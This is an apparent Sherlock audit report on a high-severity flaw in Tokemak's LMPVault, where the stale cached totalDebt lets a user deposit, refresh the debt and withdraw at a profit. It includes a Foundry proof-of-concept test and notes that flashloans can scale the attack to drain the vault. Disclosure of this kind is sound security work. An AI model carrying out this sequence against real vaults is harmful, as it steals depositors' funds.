Perfect Dijon Leopard

high

# `LMPVault`'s cached `totalDebt` can be abused to drain `LMPVault`
## Summary

An attacker can abuse the cached/stale evaluation of the `totalDebt` to make an instant profit by updating the `totalDebt` in between deposit/mint and redeem/withdraw

## Vulnerability Detail

The following gist contains a proof of concept to demonstrate this issue: https://gist.github.com/lemonmon1984/e8692483ce581d76feba5398c9a004a0

It is a diff to the existing test file `test/vault/LMPVault-Withdraw.t.sol`.

The proof of concept shows how Alice can profit from the cached totalAsset in the LMPVault.

- condition 1: asset is deployed to a destination vault
- condition 2: the price of the underlying asset of the destination vault has appreciated
  - or manipulated/changed using other issues such as
    - issue 09: `MavEthOracle::getPriceInEth` can be manipulated by making swaps in the pool, due to incorrect LP token evaluation
    - issue 11: `BalancerLPComposableStableEthOracle::getPriceInEth` can be updated by joining the pool

1. Alice deposits 1 ether to the LMPVault (via `LMPVault::deposit`)
1. Alice update the totalAsset (via `LMPVault::updateDebtReporting`)
1. Alice withdraws all to Bob (via `LMPVault::withdraw`)

At the end, Bob got more than 1 ether, which is more than the initial deposit 1 ether.
```solidity
Logs:
  bob: 1156250000000000000
```

Note that these series of actions (deposit -> update -> withdraw) can be done within one transaction.
Therefore, an attacker can use flashloan to maximize the profit, therefore draining the LMPVault.

```solidity
    function test_deposit_update_withdraw_poc(
    ) public {
        uint256 amount = 10 ether;
        uint256 amountWithdraw = 1 ether;
        uint256 amount2 = 5 ether;
        uint256 amountWithdraw2 = 1 ether;
        uint256 rebalDivisor = 2;
        bool rebalanceAmount1 = true;

        vm.assume(amount > 100);
        vm.assume(amount < 100_000_000e18);
        vm.assume(amountWithdraw > 100);
        vm.assume(amount >= amountWithdraw);
        vm.assume(type(uint256).max / _lmpVault.MAX_FEE_BPS() >= amount);
        vm.assume(type(uint256).max / _lmpVault.MAX_FEE_BPS() >= amountWithdraw);
        vm.assume(amount <= type(uint256).max / 2 / _lmpVault.MAX_FEE_BPS());

        vm.assume(amount2 > 100);
        vm.assume(amount2 < 100_000_000e18);
        vm.assume(amountWithdraw2 > 100);
        vm.assume(amount2 >= amountWithdraw2);
        vm.assume(type(uint256).max / _lmpVault.MAX_FEE_BPS() >= amount2);
        vm.assume(type(uint256).max / _lmpVault.MAX_FEE_BPS() >= amountWithdraw2);
        vm.assume(amount2 <= type(uint256).max / 2 / _lmpVault.MAX_FEE_BPS());

        vm.assume(rebalDivisor < (rebalanceAmount1 ? amount : amount2) / 2);
        vm.assume(rebalDivisor > 1);

        address user1 = vm.addr(100);
        vm.label(user1, "user1");
        address user2 = vm.addr(200);
        vm.label(user2, "user2");

        _asset.mint(user1, amount);
        _asset.mint(user2, amount2);

        //////// setUp: deposit users - start
        vm.startPrank(user1);
        _asset.approve(address(_lmpVault), amount);
        _lmpVault.deposit(amount, user1);
        vm.stopPrank();
        vm.startPrank(user2);
        _asset.approve(address(_lmpVault), amount2);
        _lmpVault.deposit(amount2, user2);
        vm.stopPrank();
        //////// setUp: deposit users - end

        //////// setUp:rebalance - start
        // rebalanceIn to the destOne
        address solver = vm.addr(23_423_434);
        vm.label(solver, "solver");
        _accessController.grantRole(Roles.SOLVER_ROLE, solver);
        uint256 rebalanceOut = rebalanceAmount1 ? amount : amount2;
        // At time of writing LMPVault always returned true for verifyRebalance
        _underlyerOne.mint(solver, rebalanceOut);
        vm.startPrank(solver);
        _underlyerOne.approve(address(_lmpVault), rebalanceOut);
        _lmpVault.rebalance(
            address(_destVaultOne), // destinationIn
            address(_underlyerOne), // tokenIn
            rebalanceOut / 2,       // amountIn
            address(0), // destinationOut, none when sending out baseAsset
            address(_asset), // baseAsset, tokenOut
            rebalanceOut
        );
        vm.stopPrank();
        //////// setUp: rebalance - end

        //// original price of _underlyerOne was 2 ether
        // _mockRootPrice(address(_underlyerOne), 2 ether);
        // emit log_named_uint("price one", _rootPriceOracle.getPriceInEth(address(_underlyerOne)));

        //// Now, the _underlyerOne's price has appreciated to 2.5 ether
        _mockRootPrice(address(_underlyerOne), 25e17);


        //// setUp for alice
        address alice = address(0x00a11ce777a11ce777a11ce777a11ce777a11ce777);
        _asset.mint(alice, 10 ether);

        //// 1. alice deposits 1 ether
        vm.startPrank(alice);
        _asset.approve(address(_lmpVault), type(uint256).max);
        _lmpVault.deposit(1 ether, alice);

        //// 2. alice updateDebtReporting
        _lmpVault.updateDebtReporting(_destinations);


        //// 3. alice withdraws to bob
        address bob = address(0x00b0b77b0b77b0b77b0b77b0b77b0b77b0b77b0b77);
        uint256 max = _lmpVault.maxWithdraw(alice);
        _lmpVault.withdraw(max, bob, alice);
        vm.stopPrank();

        //// as the result, the withdrawn amount is more than depositted amount
        emit log_named_uint("bob", _asset.balanceOf(bob));
        assert(_asset.balanceOf(bob) > 1 ether);
    }
```


The conversion rate of LMPVault share and the baseAsset is calculated based on the `LMPVault::totalAssets()` and `LMPVault::totalSupply()`.

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L587-L599

The `LMPVault::totalAssets()` is the some of `totalIdle` and `totalDebt`, which are cached values.

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L304-L306

The `totalIdle` and the `totalDebt` are updated by `rebalance`, `flashRebalance` and `updateDebtReporting`. While the `rebalance` and `flashRebalance` are protected, the `updateDebtReporting` is a public function, which anybody can call.
Also, the `updateDebtReporting` is not enforced when users are interacting with the LMPVault, i.e. mint/deposit/withdraw/redeem.Therefore, the user can choose to call the `updateDebtReporting` before or after their interaction to update the price information of the LMPVault, in turn will change the share/baseAsset conversion rate.

In the scenario above, Alice is depositting using the stale price and withdrawing using the current price, she will choose to do so only when it is profittable.
She is making instant profit from the discrepency between cached price and the current price and since she knows the current price, she does not have any risk (other than getting front-runned by bots, but can be mitigated by using contracts).
She can maximize her gain by using flashloan since all interaction can be done in one transaction.
As the result, the LMPVault and innocent users will take the loss.

## Impact

An attacker can drain the LMPVault using the price difference in the stale price and the current price.

## Code Snippet

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L587-L599
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L304-L306

## Tool used

Manual Review

## Recommendation

Consider enforcing `updateDebtReporting` when users interact with `LMPVault::mint/deposit/withdraw/redeem`

